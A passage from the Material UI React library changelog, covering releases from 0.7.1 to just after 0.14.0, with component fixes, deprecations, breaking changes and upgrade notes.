Add hintStyle (#2710)\n- [EnhancedButton] Avoid rendering `<a>` element (#2708)\n- [LeftNav] Only transition the transform property (#2730)\n- [TextField] Fix `errorText` when using `multiLine` (#2742)\n- [TimePicker] Update am/pm buttons (#2757)\n\n### Deprecations\n\n- [Dialog] Deprecate width (#2753)\n\n## 0.14.0\n\n_Dec 25, 2015_\n\nThe chagnes in `0.14.0-rc1` and `o.14.0-rc2` are also included as part of this release.\nHave a look at them as well.\n\n### General\n\n- [Docs] Migrated the following pages to use the new documentation standard:\n  1. [Tabs](#2515)\n  1. [Snackbar](#2562)\n  1. [DropDownMenu](#2565)\n  1. [Card](#2590)\n- Added the following ESLint rules:\n  1. key-spacing (#2552)\n- [SvgIcon] Improved the code generation tasks (#2606)\n- [ES6] Use module everywhere (#2614)\n- Added a temporary bootstrap project for ReactNative to pave the way for ReactNative support (#2611)\n- Clean up CSS classes (#2630)\n\n### Component Fixes / Enhancements\n\n- [SelectField][textfield] Fixed error styling issue (#2539)\n- [TextField] Implemented optional underline (#2476)\n- [Autocomplete] Migrated to use popover (#2634)\n\n### Deprecations\n\n- [DropDownMenu][selectfield] Deprecated `menuItems`, these components are now composable. (#2565)\n\n## 0.14.0-rc2\n\n_Dec 15, 2015_\n\n### Breaking Changes\n\n- [Menu] Depreciation of the old menu, introduces a very small breaking change (#2443)\n- [Dialog] Removed deprecated API (#2396)\n- zIndex, rework them to be more coherent (#2444)\n\n### General\n\n- Decoupled `Popover` animation from the component to increase flexibility (#2367)\n- [Tests] Migrated tests to use the new `react-addons-test-utils` package (#2401)\n- [Docs] Improvements to the documentation site (#2426, #2421, #2438, #2479, #2508)\n- [Docs] Migrated the following pages to use the new documentation standard:\n  1. [AppBar](#2382) _also where the new standard was introduced by @oliviertassinari_\n  1. [Avatar](#2407)\n  1. [Toolbars](#2415)\n  1. [Badge](#2489)\n  1. [Dialog](#2483)\n  1. [LeftNav](#2507)\n- Added the following ESLint rules:\n  1. react/jsx-indent-props (#2377)\n  1. max-len (#2381)\n  1. wrap-multilines (#2419)\n\n### Component Fixes / Enhancements\n\n- [Card] Use `preventDefault()` when handling expansion (#2495)\n- [CardHeader] Made `avatar` property optional (#2397)\n- [Checkbox] Now updates it's state when `checked` property changes (#2464)\n- [DatePicker] Fix year selection (#2410)\n- [Dialog] Added `overlayStyle` property (#2431)\n- [Dialog] Added `width` property (#2387)\n- [Divider] Initial implementation. Thanks to @newoga (#2473)\n- [DropDownMenu] Added `menuStyle` property (#2389)\n- [DropDownMenu] Now uses `Popover` (#2150)\n- [DropDownMenu] Now bubbles keyboard events (#2461)\n- [FlatButton] Adjusted background, hover and ripple colors (#2488)\n- [IconMenu] Added `open` and `onRequestChange` properties (#2383)\n- [ListItem] Added option to toggle nested list items on primary action (#2390)\n- [Menu] Fixed an error when children is only one child (#2402)\n- [Menu] Remove absolute positioning (#2455)\n- [Menu] Fixed issue when passed null children (#2429)\n- [SelectField] Fixed the propagation of underline styles (#2405)\n- [TableRow] Fixed a bug when unselectable rows could still be selected (#2503)\n\n### Deprecations\n\n- The old menu components under the `material-ui/lib/menu` folder (#2443)\n- The `actions` property of `Dialog` accepting a JSON is deprecated (#2483)\n- The `menuItems` of `LeftNav` and all the related properties are now deprecated in favor of composibility (#2507)\n\n## 0.14.0-rc1\n\n_Dec 4, 2015_\n\n### Breaking Changes\n\n- [IconMenu] removed openDirection prop in favor of anchorOrigin and targetOrigin (#2149)\n\n### General\n\n- Use ES6 import / export syntax over require (#2253, #2333, #2334)\n- Dialog render-to-layer version (#2129)\n- Add declarative props to LeftNav, deprecate methods (#2180, #2351)\n- Add linting to test files (#2273)\n- Support nested menu items using Popover (#2148)\n- [DropdownMenu] add labelMember prop (#2285)\n- Add new ESLint rules (#2293, #2314, #2319, #2348, #2360, #2365, #2366)\n- Add unit tests for Dialog (#2298)\n- [Autocomplete] Support changing searchText via props (#2306)\n- [Autocomplete] dataSource prop is of type array (#2286)\n- [AppBar] add titleStyle prop (#2324)\n- [TimePicker] update as per spec (#2358)\n- [Popover] add useLayerForClickAway prop (#2359)\n\n### Component Fixes / Enhancements\n\n- Fix wrong proptype for value in RadioButton (#2276)\n- Make LeftNav swipeable only from far left / right (#2263)\n- [TextField] allow rowsMax prop to equal rows prop (#2312)\n- Fix Invariant Violation error in ClickAwayable mixin (#2296)\n- [DatePicker] fix calendarTextColor context key (#2318)\n- Fix and improve examples (#2344, #2345)\n- [Dropdown][selectfield] change value PropType to React.PropTypes.any (#2352)\n- [CardActions] prevent children styles from being overridden (#2361)\n\n## 0.13.4\n\n_Nov 24, 2015_\n\n### General\n\n- Introduced SelectableEnhance HOC to wrap List with valueLink (#1976)\n- Added color prop to LinearProgress and RefreshIndicator (#2206)\n- [Autocomplete] new component! (#2187) (thanks @yongxu)\n- [Table] added wrapperStyle prop to override table wrapper's styles (#2238)\n- Updated SVG icons (#2240)\n- [Table] added props for headerStyle, bodyStyle and footerStyle (#2246)\n\n### Component Fixes / Enhancements\n\n- Fixed double ripple due to compat mouse down (#2216)\n- [RenderToLayer] iframe support for clickaway (#2210)\n- [TextField] Fixed floating label element not allowing focus (#2228)\n- [SelectField] onFocus and onBlur handlers passed to underlying TextField component (#2102)\n\n## 0.13.3\n\n_Nov 17, 2015_\n\n### General\n\n- [Snackbar] add bodyStyle prop to style child div (#2104)\n- [DatePicker] add container prop to display DatePicker in-line or inside Dialog (#2120 and #2153)\n- [AppBar] add relative positioning for z-index to take effect (#1478)\n- [AppBar] add onTitleTouchTap prop to AppBar (#2125)\n- [Popover] new component! (#2043) (thanks @chrismcv)\n- Split [SelectField] and [TextField] doc pages (#2161)\n\n### Component Fixes / Enhancements\n\n- [SelectField] onChange triggered consistently when using value prop (#1610)\n- [Dialog] fix page scrolling behind dialog after resizing (#1946)\n- [DatePicker] fix calendar height (#2141)\n- [TimePicker] allow to set time to null (#2108)\n\n## 0.13.2\n\n_Nov 9, 2015_\n\n### General\n\n- Add tabs with slide effect (#1907)\n- Universal rendering support (#2007) (thanks @Cavitt)\n- Add labelPosition prop to buttons (#2014)\n- Add RenderToLayer component (#2042) (thanks @chrismcv)\n- Open state of of dialog now controlled through props (#1996)\n  - openImmediately, show(), dismiss() deprecated\n- Update TextField docs (#2070)\n- New Badge component (#2045) (thanks @rhythnic)\n- Add import statements to components' docs pages (#2113)\n\n### Component Fixes / Enhancements\n\n- Fix server-side rendering (#2021)\n- Add key to TableHeaderColumn for selectAll (#2030)\n- Fix Circular Progress transition (#2047)\n- Fix Snackbar getting stuck when receiving new props (#2024)\n- iPad enhanced textarea fix (#1720)\n- Table clickAway triggers onRowSelection (#2054)\n- Theme color fixes for Slider and Toggle (#2016)\n\n## 0.13.1\n\n_Oct 29, 2015_\n\n### General\n\n- [SVGIcons] added index.js and index-generator script (#1959)\n- [TimePicker] openDialog() function (#1939) and autoOk prop (#1940) added\n- [DatePicker] i18n support added (#1658)\n- [LeftNav] supports nested children (w/o menuItems) (#1982)\n- [Snackbar] updated for new specification (#1668)\n- [Tabs] added tabTemplate prop (#1691)\n\n### Component Fixes / Enhancements\n\n- [TextArea] height issue fixed (#1875)\n- [GridList] doc added (#1948) with code examples (#1988)\n- [TextField] fixed custom theme color hiding backgroundColor (#1989)\n- [TimePicker] added style and textFieldStyle props (#1949)\n- [Card] text color is now pulled from theme (#1995)\n\n## 0.13.0\n\n_Oct 21, 2015_\n\n### Breaking Changes\n\n- Material UI for React 0.14.x\n\n### Component Fixes / Enhancements\n\n- FloatingActionButton now has iconStyle prop (#1575)\n- Card title and subtitle props can be any node (#1950)\n\n## 0.12.5\n\n_Oct 21, 2015_\n\nv0.12.4 should have really been v0.13.0 as it breaks compatibility with React 0.13.3. This version fixes that. We reverted some commits (related to React 0.14.0 support) from v0.12.4 to bring to you v0.12.5 that works as expected.\n\n### Component Fixes / Enhancements\n\n- DatePicker performance has been improved (#1905)\n- Docs code now follows ESLint rules more strictly (#1778)\n- Removed duplicate keys in component definitions (#1933)\n\n## 0.12.4\n\n_Oct 19, 2015_\n\n**This version is not compatible with React 0.13.x.** If you're on React 0.13.x, use Material UI v0.12.5 instead.\n\n### General\n\n- React 0.14 compatible\n\n### Component Fixes / Enhancements\n\n- ThemeDecorator supports props (#1841)\n- Full RTL support included (#1674)\n- react-draggable dependency removed for Slider (#1825)\n\n## 0.12.3\n\n_Oct 7, 2015_\n\n### Component Fixes / Enhancements\n\n- Quick-fix version until react 0.14 support is somewhat stable\n  - Changed react dependency to ~0.13 in package.json (#1836)\n\n## 0.12.2\n\n_Oct 6, 2015_\n\n### General\n\n- NEW GridList component and documentation! Thanks to @igorbt (#1320)\n\n### Component Fixes / Enhancements\n\n- Added back canvasColor to theme palette (#1762)\n- Added hintStyle prop to TextField (#1510)\n- Add isScrollbarVisible function to table (#1539)\n- Add rowsMax prop to EnhancedTextarea (#1562)\n- Tab \"item three\" renamed on docs site (#1775)\n- Fixed docs server to run on Windows (#1774)\n- FlatButton now has a backgroundColor prop (#1561)\n- Fixed DropdownMenu buggy value prop check (#1768)\n\n## 0.12.1\n\n_Sep 28, 2015_\n\n### Component Fixes / Enhancements\n\n- Fix broken documentation site\n  - Fix theme display switch problem in doc (#1696)\n  - Fix typo in src/card-expandable.jsx (#1724)\n  - Fix broken link to v0.12.0 release tag\n- Use correct require calls\n  - for react addons (#1729)\n  - for raw themes (#1742)\n- Remove hard-coded color values from theme-manager\n  - Use consistent values from raw theme (#1746)\n\n## 0.12.0\n\n_Sep 25, 2015_\n\n### Breaking Changes\n\n- Theming has been re-done so that material-ui components can be used without having to worry about passing a theme (all components implement a default theme) (#1662)\n  - There's now a concept of `mui theme` and `raw theme`, `mui theme` is produced from `raw theme`\n  - `ThemeManager` has been changed, no longer needs `new` in call\n  - `ThemeManager` produces `mui theme` from `raw theme`. Raw themes may be user-defined.\n  - Functions in `ThemeManager` allow to modify theme variables. Component-level styles may be\n  - overridden in the `mui theme`.\n  - See new documentation [here](https://mui.com/#/customization/themes)\n- Function names in the context-pure mixin have been changed (#1711)\n  - `getContextProps()` has been changed to `getRelevantContextKeys()`\n\n### General\n\n- Updated dependency of `react-tap-event-plugin` (#1714)\n\n### Component Fixes / Enhancements\n\n- Dialog component (#1717)\n  - `actions` now has `id` property\n  - Fixed a bug in dialog where a faulty check caused an error in console\n  - Text field ipad scrolling in dialog\n\n## 0.11.1\n\n_Sep 15, 2015_\n\n### Component Fixes / Enhancements\n\n- DatePicker - Updated to new design specs (#1266)\n- LeftNav - Fix sidebar position for browsers that don't support transform3d (#1269)\n- TextField - Added props to override underlineStyle when disabled (#1493)\n\n## 0.11.0\n\n_Aug 24, 2015_\n\n### Breaking Changes\n\n- The Table component is now composable. (#1199)\n  - JSON objects to create the table and the table component will no longer generate the table for you.\n    The docs site provides a complete example of how a table might look: https://mui.com/#/components/table.\n    The example also includes a 'super header' and 'super footer' row.\n  - **Upgrade Path:** Instead of passing in the raw JSON data, you'll need to generate the appropriate\n    TableHeader/TableRow/TableHeaderColumn components and pass them in as children. The same should be applied\n    to the rowData and the footer.\n- Tabs can now be controlled. In order to make this work we had to change the parameters being passed back to\n  the `onChange` event to: `onChange(value, e, tab)`. Where value is the value of the tab that it was changed\n  to, e is the event, and tab is the actual tab component. (#1232, #1235)\n- Added a new `static` flag to the ThemeManager that defaults to `true`. If you're mutating your theme variables\n  after the app initializes, set this flag to `false`. This will allow us to perform some optimizations to\n  components that require theme variables. (#1397)\n- ListItem (#1438, #1105)\n  - Nested list items should no longer be passed in as children. Use the `nestedItems` prop instead.\n  - The `open` prop has been renamed to `initiallyOpen`.\n- Removed classable mixin\n  - This mixin was no longer used in the library. Removing it allowed us to get rid of the `classnames`\n    dependency. If you were using this mixin in your own projects, you'll need to pull the source and manually\n    include it.\n\n### Component Fixes / Enhancements\n\n- Buttons - Fixed a bug that caused buttons to not gain keyboard focus in some cases (#1485, #1453, #1458)\n- Card\n  - Properly merge `CardAction` and `CardExpandable` styles. (#1376)\n  - Added Right-To-Left support to `CardExpandable`. To use this, set `isRtl` to `true` in the theme. (#1408)\n- DatePicker - Fixed an error that occurred when using valueLink (#1400)\n- DropDownMenu - Added `disabled` prop (#1406)\n- FlatButton - Added `labelPosition` prop. (#1286)\n- InkBar - Added color prop and inkBar.backgroundColor to theme variables. (#1244)\n- Ripple\n  - Fixed display glitch on Safari (#1420)\n  - Fixed an error when ripples were unMounted (#1416)\n- SelectField\n  - Added `floatingLabelStyle` prop (#1463 #1450)\n- Slider\n  - Fixed a bug when setting the width attr (#1368)\n  - Fixed a bug with disabled sliders (#1417)\n  - Fixed a focus style glitch and other style problems (#1448, #1451, #1468)\n- Snackbar - Added onShow and onDismiss (#1390)\n- Table - Ensure that the table component properly keeps track of selected rows (#1325)\n- TextField\n  - Added `underlineFocusStyle` prop (#1422, #1419)\n  - `hintText` can now be a `string` or `element` (#1424, #1202)\n- TimePicker\n  - Fixed a bug that caused the am/pm selector to switch (#1440)\n  - Fixed a bug that caused defaultTime to not be set (#1466)\n- Tooltip - Probably center tooltips when tooltip text changes (#1205)\n- Theme - Added `setContentFontFamily` (#1405)\n\n## 0.10.4\n\n_Aug 8, 2015_\n\n### Component Fixes / Enhancements\n\n- TouchRipple - Fixed a bug that caused onClick to not fire on the first click (#1370)\n\n## 0.10.3\n\n_Aug 8, 2015_\n\n### General\n\n- We've set up the project to perform automated tests - now we just need to increase our test coverage. :) (#1331)\n- The style auto-prefixer now caches browser test results so that it only has to perform them once.\n\n### New Components\n\n- RefreshIndicator (#1312)\n\n### Component Fixes / Enhancements\n\n- AppBar - showMenuIconButton now only affects the icon next to the title (#1295, #1182)\n- CardMedia - CardMedia children styles are now being properly merged (#1306)\n- Dialog - fixed a bug that caused the dialog height to be incorrect on window resize (#1305)\n- FloatingActionButton - Added backgroundColor and disabledColor props (#1329)\n- FocusRipples now only get rendered when needed.\n- IconMenu - Added isOpen() (#1288)\n- LeftNav\n  - Added menuItemClassName, menuItemClassNameSubheader, menuItemClassNameLink props (#1318)\n  - Fixed a display problem that caused icons to not be the correct color (#1324)\n- ListItem - fixed incorrect styling on disabled list items (#1350)\n- SelectField\n  - Fixed a bug that happened when select field was controlled and the value was undefined (#1227)\n  - Fixed error text positioning (#1341, #1111)\n  - Added errorStyle prop (#1341)\n- Snackbar - Clickaway is now properly bound when openOnMount is true (#1327)\n- Tabs - Added contentContainerClassName prop (#1285)\n- TextField - Added underlineStyle prop (#1343)\n- TimePicker - Added pedantic prop (#1275, #1173)\n\n## 0.10.2\n\n_Jul 29, 2015_\n\n### Breaking Changes\n\n- Changed `date-picker/index.js` to expose DatePicker and DatePickerDialog.\n  Hence `require('material-ui/lib/date-picker')` no longer works. Use\n  `require('material-ui/lib/date-picker/date-picker')` instead.\n\n### General\n\n- Replaced onMouseOver / onMouseOut with onMouseEnter / onMouseLeave to achieve hover affects.\n  This prevented extra unnecessary renders from happening. (#1190)\n- All svg icons inside the /svg-icons folder now uses the PureRenderMixin.\n\n### Icon Builder\n\n- Added tests, build process, file template, and file suffix (#1130, #1127, #1126, #1125, #1139)\n\n### Component Fixes / Enhancements\n\n- AppBar - Fixed a styling bug in Safari (#1226)\n- Cards can now expand and collapse (#1060)\n- DatePicker\n  - Allow using DatePicker as a controlled input (#1170)\n  - Added valueLink support and openDialog() (#1213)\n  - Fixed a bug that caused dates to get selected when switching months (#1243)\n  - Avoid handling keyboard events when calendar is not active (#1245)\n  - Fixed display glitch on Firefox (#1242, #1248)\n- Dialog\n  - Hitting the ESC key no longer closes the window if modal is set to true (#1187, #1162)\n  - The onShow event now called after all contents in the dialog have been rendered. (#1198)\n- DropDownMenu - Clicking away no longer triggers other click events to happen (#1177, #1174)\n- FocusRipples now only render when actually shown.\n- IconMenu\n  - Fixed a bug that caused a scrollable menu to jump after selecting an item.\n  - Fixed keyboard focus when user hits ESC.\n- LeftNav\n  - Added some Perf improvements (#1184)\n  - Fixed a bug that caused onNavOpen to sometimes not fire (#1225)\n  - Added disableSwipeToOpen prop (#1279)\n- Menu\n  - Performance improvements when opening a menu.\n  - Added animated prop.\n- RaisedButton - Fixed a bug that caused rounded corners not to round (#1048)\n- SelectField - Now passes the index and payload back in the onChange callback (#1193, #1194)\n- Slider - Fixed a bug that caused value to not be set correctly (#1251)\n- Snackbar - Extra props are now being passed down to the root (#1260)\n- SvgIcon - Added code to remove some unnecessary renders on hover.\n- Toolbar - Fixed display glitch on Firefox (#839, #1248)\n\n## 0.10.1\n\n_Jul 13, 2015_\n\n### Component Fixes / Enhancements\n\n- CircularProgress - Fixed animation bug in Safari (#1093, #863)\n- Dialog\n  - `contentClassName` is now being passed down to the appropriate child (#1122)\n  - Fixed max height on vertically scrollable dialogs (#1153, #1100)\n- DropDownMenu\n  - Fixed display height (#1123)\n  - Fixed display height when menu items change (#1145)\n- IconMenu - Added `closeOnItemTouchTap` prop (#1156)\n- LeftNav - Performance improvements during show/hide (#1137)\n- SelectField - `errorText` is now being passed down to underlying `textField` (#1131)\n- Table - Added static width to checkbox columns (#1128)\n- Tabs - Added `inkBarStyle` prop (#1154)\n- TextField - `errorStyle` prop is now being properly merged (#1116)\n\n## 0.10.0\n\n_Jul 9, 2015_\n\n### Breaking Changes\n\n- Removed `input.jsx` file. This component was deprecated long ago, but was never removed from the project.\n- Buttons now default to a type of `button` instead of the browser's default of `submit`. We found that\n  most of the buttons in our apps were not submit buttons and it was more intuitive to default to `button`.\n  If you need a submit button, be sure to pass in a type of `submit`. (#1017)\n- The `DialogWindow` component was refactored into `Dialog`. `DialogWindow` was never documented and was just\n  a lower level component that was used by `Dialog`. It was, however, exposed on the main `index.js` and has\n  since been removed. If you were using `DialogWindow` before, you should be able to safely use\n  `Dialog` instead.\n\n### New Components\n\n- SvgIcons & Icon Builder\n  - We've created SvgIcon versions of all the\n    [material-design-icons](https://github.com/google/material-design-icons). These SvgIcon\n    components can be found in the `/lib/svg-icons` directory and were not added to the main `index.js`\n    file. To use these icons, require them directly: `require('material-ui/lib/svg-icons/action/face')`.\n    These icons were created using a script that crawls the icon repo and generates the\n    appropriate `js` and `jsx` files and can be found in the `/icon-builder` directory.\n- Menu, MenuItem, MenuDivider\n  - This is a new implementation of menus and menu items. With it comes:\n    - better composability\n    - scrollable menus\n    - better transitions\n    - better keyboard access\n    - selectable with value and valueLink\n  - We're working on migrating some of our other components to use this new implementation. Until that's\n    thats done, require these components directly if you'd like to use them:\n    `require('material-ui/lib/menus/menu')`.\n- IconMenu\n  - This component replaces `DropDownIcon` and has all of the new menu features mentioned above.\n\n### Component Fixes / Enhancements\n\n- AppBar\n  - IconButton styles are now being properly merged (#967)\n  - FlatButtons are now being properly styled (#967)\n- AppCanvas - AppBar child styles can now be overridable (#903)\n- Avatar - Added `size` prop (#945)\n- CardMedia - Styles are now being properly merged using the `mediaStyle` prop (#1004)\n- CircularProgress - Added `color` and `innerStyle` prop (#928)\n- DatePicker\n  - Prevent root styles from propagating to child input (#991)\n  - Fixed DatePicker year/month navigation buttons (#1081, #1075)\n- Dialog\n  - Window scrolling is now enabled on unmount as well (#946)\n  - Allow dialog window to scroll for long content (#1045, #525)\n  - Drastically improved dialog performance (#1059)\n  - Dialogs now honor modal property. (#1092)\n  - Fixed vertical centering on smaller screen sizes (#1095)\n- FloatingActionButton - Now accepts `FontIcon` and `SvgIcon` as children (#967, #894)\n- FontIcon - Now supports `material-icon` ligatures (#952, #1007)\n- IconButton\n  - Added `tooltipPosition` prop (#921)\n  - Added `tooltipStyles` prop (#1010, #1005)\n  - Pass iconStyle props to every children (#967)\n  - Now supports `material-icon` ligatures (#1024, #1013)\n- LeftNav - Fixed swipe gesture to open / close (#868, #848, #998, #997)\n- List - Added `zDepth` prop.\n- ListItem\n  - Fixed display glitch on touch devices (#858)\n  - List items can now be keyboard focused\n  - Allow drop downs to be displayed inside a list item (#978)\n  - Fixed a bug that caused rightIconButton events to not propagate (#1055)\n  - List Items can now be nested (#918)\n  - Added `primaryText` prop (#1073)\n- Menu\n  - Fixed a bug that caused closed menu to be selectable (#913)\n  - Fixed menu height and width when menu items change (#1012, #805, #1014)\n  - Subheader styles are now being properly merged (#950)\n- MenuItems now properly renders icons (#956)\n- Overlay\n  - Added to main `index.js` (#955)\n  - Fix issue where Overlay can prevent the body from scrolling (#1058, #897)\n- RaisedButton\n  - Fixed a display glitch when changing the button's height (#937, #765)\n  - Added `backgroundColor`, `labelColor`, `disabledBackgroundColor`, `disabledLabelColor` props (#965)\n  - Added `fullWidth` prop (#989)\n- SelectField\n  - Fixed menu and error text display glitches (#922)\n  - Added hint text functionality (#966)\n  - Fixed display problem when `floatingLabelText` is set (#976)\n  - Fixed font size (#1027)\n- Slider\n  - `className` can now be set (#938, #713)\n  - Added min/max prop validation (#1070, #899)\n- Snackbar\n  - Root styles are not being merged properly (#925)\n  - Added `autoHideDuration` prop (#1050, #958)\n  - Clicking slider track advances the slider knob. (#1089, #1074)\n- Table\n  - Fixed `displayRowCheckbox` prop (#935)\n  - Table rows can be selected in the rowData configuration (#1023)\n  - Removed duplicate table calls and support multiple tables (#954, #1087, #1084)\n- Tab - Added `contentContainerStyle` prop (#953)\n- Tabs - Fixed a bug that caused inkbar to not display properly (#1015, #940)\n- TextField\n  - Fix error when setting the value of the textfield `input`. (#959)\n  - Style fixes for floating label (#980)\n  - Fixed display glitch for long hint text and error text (#987, #438, #439)\n  - Fixed display problem when value is 0 (#1090)\n  - Added `errorStyle` prop (#1079)\n- TimePicker - Fixed key warnings (#1018)\n- Toolbar\n  - Fixed display glitch with DropDownIcons (#917, #904)\n  - Styles are now being properly merged for `DropDownMenu`, `DropDownIcon`, `RaisedButton`, `FontIcon` (#965)\n\n## 0.9.2\n\n_Jun 20, 2015_\n\n### New Components\n\n- SelectField (#846)\n- Card, CardActions, CardHeader, CardMedia, CardText, CardTitle (#857)\n- Table (#890)\n\n### Components\n\n- AppBar - Long AppBar titles now render ellipses (#875)\n- Buttons\n  - Added containerElement prop (#850)\n  - Fixed styling for disabled link buttons\n- DropDownMenu - Added keyboard functionality (#846)\n- FontIcon - Added color and hoverColor props\n- ListItem\n  - Fixed display problem with Single line checkboxes (#854)\n  - Added rightIconButton prop\n- Slider - Added step functionality (#860)\n- Switches - Added labelStyle prop (#871)\n- SvgIcon - Added color and hoverColor props\n- TextField - Made element styles overridable (#864)\n- TimePicker\n  - Fixed clock functionality for various browsers (#840)\n  - Fixed clock numbers positioning for Safari (#870)\n  - Fixed clock handles on Android Chrome (#873)\n- Toggle\n  - Made element styles overridable (#855)\n  - Fixed style bug on IE 10, 11 (#885)\n- Toolbar - Fixed error when a child element is null (#847)\n\n### Theming\n\n- Theme spacing can now be overridden (#879)\n\n## 0.9.1\n\n_Jun 14, 2015_\n\n### General\n\nThe following components have been modified to allow for style overrides:\nRadio Button Group, Radio Button, Enhanced Switch Label, Text Field, Toggle, Checkbox (#807)\n\n### New Components\n\n- List, ListItem, ListDivider, Avatar (#836)\n\n### Components\n\n- Checkbox - Added checkedIcon and unCheckedIcon props. This is useful to create icon toggles.\n- Dialog - Fixed a bug with the open immediately flag (#810)\n- DropDownIcon - Added support for icon ligature (#806)\n- Menu - Fixed a style problem (#843)\n- RadioButtonGroup - Fixed a bug with mapping Radio children (#820)\n- Slider - Fixed a glitch that happened when click on the slider handle (#833)\n- TextField - Added fullWidth prop (#827)\n- TimePicker\n  - Fixed a bug with the defaultTime setting (#822)\n  - Fixed clock handles on Firefox (#825)\n\n## 0.9.0\n\n_Jun 9, 2015_\n\n### Breaking\n\nWe've cleaned up some of our click/tap events. (#771) Upgrade should be straight forward, please see below:\n\n- DropDownIcon - closeOnMenuItemClick has been replaced with closeOnMenuItemTouchTap.\n- Menu - onItemClick has been removed; use onItemTap instead.\n- MenuItem - onClick event has been removed; use onTouchTap instead.\n\n### General\n\n- ClickAwayable is now bound to onTouchTap instead of onClick (#766)\n\n### Components\n\n- AppBar will now render its children (#725)\n- DatePicker will now properly handle defaultDate prop changes (#722)\n- Dialog actions now respond to onTouchTap (#752)\n- LeftNav\n  - Fixed line height style bug (#742)\n  - Fixed a bug that caused the LeftNav to immediately close on iOS full screen mode (#751, #366)\n- Menu\n  - Will now adjust its height when props change (#544, #203)\n  - MenuItemStyle prop is now passed down to nested menus (#802)\n- RadioButtonGroup can now have its styles overridden (#768)\n- RaisedButtons - Fixed a bug that caused incorrect transitions (#731, #702)\n- SvgIcon - ViewBox can now be passed in as a prop (#747)\n- Tabs - Components inside tabs now keep their state when switching between tabs (#700, #450)\n- TextField\n  - Multi-line text fields can now be initialized with a certain number of rows (#693)\n  - Fixed style bug that caused width to not be set on disabled text-fields\n  - Fixed style bug that caused focus underline to be black\n  - Fixed style problem that caused text to jump on multi-line inputs\n- Theme (New)\n  - This is a high order component that can be used to set your theme overrides (#797)\n\n## 0.8.0\n\n_May 24, 2015_\n\n### Breaking Changes\n\n- Refactored all CSS into JavaScript (#30, #316)\n  - All Material UI components now have their styles defined inline. This solves\n    many problems with CSS as mentions in [@vjeux's presentation](https://speakerdeck.com/vjeux/react-css-in-js)\n    such as polluting the global namespace with classes that really should be\n    component specific. In addition to the benefits mentioned in the\n    presentation, inline styles allow Material UI to become CSS preprocessor\n    agnostic and make Themeing much more dynamic and simple.\n    [Read our CSS in JS discussion](https://github.com/mui/material-ui/issues/30)\n  - Upgrade path:\n    - _If you are overriding component CSS classes:_ Redefine your overrides as\n      an object following [React's inline styles format](https://facebook.github.io/react/tips/inline-styles.html),\n      then pass it into the material-ui component via the `style` prop. These\n      changes are applied to the root element of the component. If you are\n      overriding a nested element of the component, check the component's\n      documentation and see if there is a style prop available for that nested\n      element. If a style prop does not exist for the component's nested element\n      that you are trying to override, [submit an issue](https://github.com/mui/material-ui/issues/new)\n      requesting to have it added.\n    - _If you are using any of Material UI's Less files:_ These files have been\n      refactored into their [own JavaScript files](https://github.com/mui/material-ui/tree/css-in-js/src/styles)\n      and can be accessed like so `var FILENAME = require('material-ui').Styles.FILENAME;`.\n      Material UI has moved away from being a CSS Framework to being simply a\n      set of React components.\n- Paper component no longer generates nested divs (#601)\n  - This allowed us to simplify styling of paper containers. As a result, styling the inner div is no longer necessary.\n\n### General\n\n- Themes have been added (#202)\n- Requiring individual components is now supported (#363)\n  - An example would be: `var SvgIcon = require('material-ui/lib/svg-icon);`\n  - The `/lib` folder in Material UI contains the file structure needed when referencing individual components.\n\n### Components\n\n- Date Picker\n  - Added AutoOK Prop (#658)\n  - Added ability to specify min and max dates (#658)\n  - Added Year Selector (#658)\n- Dialog now repositions on screen resize (#597)\n- Left Nav will now close with a swipe gesture (#614)\n- Linear and Circular Progress Indicators - NEW (#632)\n- TimePicker - NEW (#589)\n\n## 0.7.5\n\n_Apr 27, 2015_\n\nGeneral\n\n- Removed deprecation warnings by replacing `this.getDOMNode()` with `React.findDOMNode()` (#558)\n- Replaced `process.NODE_ENV` with `process.env.NODE_ENV` (#573)\n\n### Components\n\n- DropDownMenu\n  - Fixed `props is not defined` error when `onChange` is invoked (#556)\n- Floating Action Button\n  - Fixed alignment bug on Chrome when using FAB as a link (#574)\n\n## 0.7.4\n\n_Apr 21, 2015_\n\n### General\n\n- Updated to react v0.13\n\n### Components\n\n- AppBar\n  - Fixed IE toString.Call() issue (#518, #468)\n- Buttons\n  - Button events now do not fire on disabled buttons (#512)\n  - Fixed rapid keyboard tabbing issue (#528)\n- DatePicker\n  - Added autoOk, minDate, and maxDate props (#538)\n- Dialog\n  - Fixed IE toString.Call() issue (#518, #468)\n  - Added modal prop (#523)\n  - Fixed warnings caused by overwriting props (#500)\n  - Added ability to give an action button autofocus (#552)\n- DropDownMenu\n  - Handle selectIndex less than 0 (#480)\n  - Fixed issue of using this component outside strict mode (#533)\n- LeftNav\n  - Added onNavOpen & onNavClose events (#495)\n- Switches\n  - Fixed errors on disabled switches on mobile (#476)\n\n## 0.7.3\n\n_Apr 1, 2015_\n\n### General\n\n- Updated mui to use peer dependency changes (#471)\n- Replaced `DOMIdable` with `UniqueId` (#490)\n\n### Components\n\n- Dialog\n  - Changed `title` prop to accept node types instead of just strings (#474)\n- Link Menu Item\n  - Fixed anchor attribute name (#493)\n- Menu\n  - Nested menus expand when hovered (#475)\n\n## 0.7.2\n\n_Mar 25, 2015_\n\n### General\n\n- Updated react-draggable2 dependency (#391)\n- Updated react and peer dependencies to React v0.13 (#452)\n\n### Components\n\n- Date Picker\n  - Added `onShow` and `onDismiss` props (#399)\n- Dialog\n  - Fixed scrolling issue when opened immediately (#406)\n  - `onShow` is now called when opened immediately (#453)\n- Flat Button\n  - Disabled primary buttons use disabled styling over primary (#432)\n- Floating Action Button\n  - Fixed zdepth to update when `disabled` prop changes (#390)\n  - Disabled secondary buttons use disabled styling over secondary (#432)\n- Left Nav\n  - Scrolling is prevented when displayed (#406)\n- Menu\n  - Menu and menu-related components have been moved into `js/menu/*` (#402)\n  - Added LinkMenuItem component (#402)\n- Menu Item\n  - Added `disable` prop (#402)\n- Overlay\n  - Now control scroll un/locking. (#406)\n- Paper\n  - Added `innerStyle` prop (#418)\n- Raised Button\n  - Disabled primary buttons use disabled styling over primary (#432)\n- Tabs\n  - Added `initialSelectedIndex` prop (#389)\n\n## 0.7.1\n\n_Mar 4, 2015_\n\n### General\n\n- Allow removal of debug code in production builds (#349)\n\n### Components\n\n- AppBar\n  - Fixed a styling bug that caused icons not to show (#336)\n  - Title prop can now be an element (#361)\n  - Added iconClassNameLeft, iconElementLeft, iconElementRight props (#367)\n- Date Picker\n  - Fixed a bug that caused the date picker dialog window to ghost on small screen widths (#342)\n- Dialog Window\n  - Window no longer loses scroll position after opening a dialog window. (#386)\n- DropDown Icon\n  - Added closeOnMenuItemClick prop (#376)\n- Flat Buttons\n  - Fixed a styling 